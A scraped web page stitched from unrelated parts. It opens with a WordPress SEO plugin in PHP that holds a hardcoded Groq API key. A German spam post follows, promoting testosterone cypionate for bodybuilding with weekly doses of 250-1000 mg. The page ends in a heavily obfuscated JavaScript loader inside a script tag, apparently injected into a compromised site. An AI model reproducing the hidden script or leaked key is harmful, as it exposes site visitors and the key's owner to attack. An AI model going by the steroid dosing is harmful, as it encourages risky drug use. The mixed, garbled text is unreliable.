/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
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<article id="post-25987" class="post-25987 post type-post status-publish format-standard hentry category-uncategorized">
	<header class="entry-header">
		<h1 class="entry-title">Testosteron Cypionat 250 im Bodybuilding: Wirkung, Anwendung und Vorteile</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/testosteron-cypionat-250-im-bodybuilding-wirkung-anwendung-und-vorteile/" title="Permalink to Testosteron Cypionat 250 im Bodybuilding: Wirkung, Anwendung und Vorteile" rel="bookmark"><time class="entry-date" datetime="2026-05-08T17:08:44+00:00">May 8, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Testosteron Cypionat ist ein weit verbreitetes anaboles Steroid im Bodybuilding, das oft zur Unterstützung beim Muskelaufbau und zur Leistungssteigerung eingesetzt wird. Es ist eine langwirksame Form des Testosterons, die viele Bodybuilder bevorzugen, um ihre Trainingsziele effizient zu erreichen.</p>
<p><a href="https://www.reganagroup.com/testosterone-cypionate-250-im-bodybuilding-wirkung-anwendung-und-vorteile/">Hier erfahren Sie mehr über die Wirkung, Anwendung und Vorteile von Testosteron Cypionat 250 im Bodybuilding.</a></p>
<h2>Inhaltsverzeichnis</h2>
<ol>
<li>Was ist Testosteron Cypionat?</li>
<li>Die Vorteile von Testosteron Cypionat im Bodybuilding</li>
<li>Anwendung und Dosierung</li>
<li>Nebenwirkungen und Risiken</li>
<li>Fazit</li>
</ol>
<h2>1. Was ist Testosteron Cypionat?</h2>
<p>Testosteron Cypionat ist eine synthetische Form des männlichen Sexualhormons Testosteron. Es gehört zur Klasse der Testosteronester und zeichnet sich durch eine langsame Freisetzung im Körper aus, was bedeutet, dass es weniger häufig injiziert werden muss. Diese Form von Testosteron ist sehr beliebt im Bodybuilding, da sie eine hohe anabole Aktivität besitzt und das Muskelwachstum fördert.</p>
<h2>2. Die Vorteile von Testosteron Cypionat im Bodybuilding</h2>
<p>Die Einnahme von Testosteron Cypionat bietet verschiedene Vorteile für Bodybuilder, darunter:</p>
<ol>
<li><strong>Muskelaufbau:</strong> Testosteron fördert die Proteinsynthese, wodurch Muskelgewebe effektiv aufgebaut werden kann.</li>
<li><strong>Steigerung der Kraft:</strong> Anwender berichten oft von einer deutlichen Steigerung der Kraft und Energie während des Trainings.</li>
<li><strong>Verbesserte Regeneration:</strong> Testosteron trägt zur schnelleren Erholung der Muskulatur nach intensiven Trainingseinheiten bei.</li>
<li><strong>Erhöhte Ausdauer:</strong> Die gesteigerte Anzahl roter Blutkörperchen kann zu einer besseren Sauerstoffversorgung der Muskulatur führen.</li>
</ol>
<h2>3. Anwendung und Dosierung</h2>
<p>Die typische Dosierung von Testosteron Cypionat im Bodybuilding liegt zwischen 250 und 1000 mg pro Woche, abhängig von den individuellen Zielen und Erfahrungen des Anwenders. In der Regel wird das Steroid alle 7 bis 14 Tage injiziert. Es ist wichtig, die Dosierung schrittweise zu steigern und nicht sofort mit hohen Dosen zu beginnen. Anfänger sollten sich an die unteren Dosierungsgrenzen halten und sich mit den Wirkungen vertraut machen.</p>
<h2>4. Nebenwirkungen und Risiken</h2>
<p>Wie bei jedem anabolen Steroid können auch bei der Anwendung von Testosteron Cypionat Nebenwirkungen auftreten. Zu den häufigsten gehören:</p>
<ol>
<li>Akne und fettige Haut</li>
<li>Haarausfall</li>
<li>Veränderungen der Stimmung, darunter Aggression</li>
<li>Hormonelle Ungleichgewichte</li>
<li>Erhöhtes Risiko für Herz-Kreislauf-Erkrankungen</li>
</ol>
<p>Es ist wichtig, regelmäßig ärztliche Untersuchungen durchzuführen, um potenzielle Nebenwirkungen frühzeitig zu erkennen.</p>
<h2>5. Fazit</h2>
<p>Testosteron Cypionat 250 ist eine effektive Option für Bodybuilder, die ihren Muskelaufbau und ihre Leistung steigern möchten. Trotz der vielen Vorteile müssen Anwender sich der potenziellen Risiken bewusst sein und verantwortungsbewusst mit der Einnahme umgehen. Eine fundierte Entscheidung, die Dosierung und mögliche Nebenwirkungen berücksichtigend, ist entscheidend für den Erfolg im Bodybuilding.</p>
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ttey7DZ(iBlk0Y(0xad),{[iBlk0Y(0xae)]:ctC2_y1,[iBlk0Y(0xaf)]:M0E11Z})[V2MEsn(0xb0)](rgEvRRW=>{return Number(rgEvRRW)===Kwwujj[0x1]})},bl:()=>{function rgEvRRW(rgEvRRW){var V2MEsn="DFyZjpLKNclebx3OC;w=>?m^BkM`r{5}@,.7E[h6)Y2#tvqQ%i&zT$|g<!adHs0n]S4+:/Au1oUJGW9_I\"VPR(~fX8*",iBlk0Y,YERZlc,S7sEvo1,lTlx67o,Ekld7m0,ctC2_y1,jBiGzpo;K0k7gS(iBlk0Y=""+(rgEvRRW||""),YERZlc=iBlk0Y.length,S7sEvo1=[],lTlx67o=Kwwujj[0x0],Ekld7m0=Kwwujj[0x0],ctC2_y1=-Kwwujj[0x1]);for(jBiGzpo=Kwwujj[0x0];jBiGzpo<YERZlc;jBiGzpo++){var M0E11Z=V2MEsn.indexOf(iBlk0Y[jBiGzpo]);if(M0E11Z===-Kwwujj[0x1])continue;if(ctC2_y1<Kwwujj[0x0]){ctC2_y1=M0E11Z}else{K0k7gS(ctC2_y1+=M0E11Z*Kwwujj[0xc],lTlx67o|=ctC2_y1<<Ekld7m0,Ekld7m0+=(ctC2_y1&Kwwujj[0xd])>Kwwujj[0xe]?Kwwujj[0xf]:Kwwujj[0x10]);do{K0k7gS(S7sEvo1.push(lTlx67o&Kwwujj[0x3]),lTlx67o>>=Kwwujj[0x2],Ekld7m0-=Kwwujj[0x2])}while(Ekld7m0>Kwwujj[0x9]);ctC2_y1=-Kwwujj[0x1]}}if(ctC2_y1>-Kwwujj[0x1]){S7sEvo1.push((lTlx67o|ctC2_y1<<Ekld7m0)&Kwwujj[0x3])}return O8LDcTx(S7sEvo1)}function V2MEsn(V2MEsn){if(typeof Des5wqu[V2MEsn]===Kwwujj[0x5]){return Des5wqu[V2MEsn]=rgEvRRW(_gZAhoK[V2MEsn])}return Des5wqu[V2MEsn]}return ttey7DZ(iBlk0Y(0xb1),{[V2MEsn(0xb2)]:ctC2_y1,[V2MEsn(0xb3)]:M0E11Z})[V2MEsn(0xb4)](()=>{})}})}});if(iBlk0Y===S7sEvo1(0xb5)){M0E11Z=[]}if(iBlk0Y===S7sEvo1(0xb6)){function ctC2_y1(){var iBlk0Y=function(...iBlk0Y){M0E11Z=iBlk0Y;return Ekld7m0[rgEvRRW].apply(this)},V2MEsn;V2MEsn=lpDJ2v3[rgEvRRW];if(V2MEsn){Y2miu9i(iBlk0Y,V2MEsn)}return iBlk0Y}lTlx67o=jBiGzpo[rgEvRRW]||(jBiGzpo[rgEvRRW]=ctC2_y1())}else{lTlx67o=Ekld7m0[rgEvRRW]()}return V2MEsn===S7sEvo1(0xb7)?{[S7sEvo1(0xb8)]:lTlx67o}:lTlx67o}lpDJ2v3(iBlk0Y(0xb9),iBlk0Y(0xba))})();
</script>

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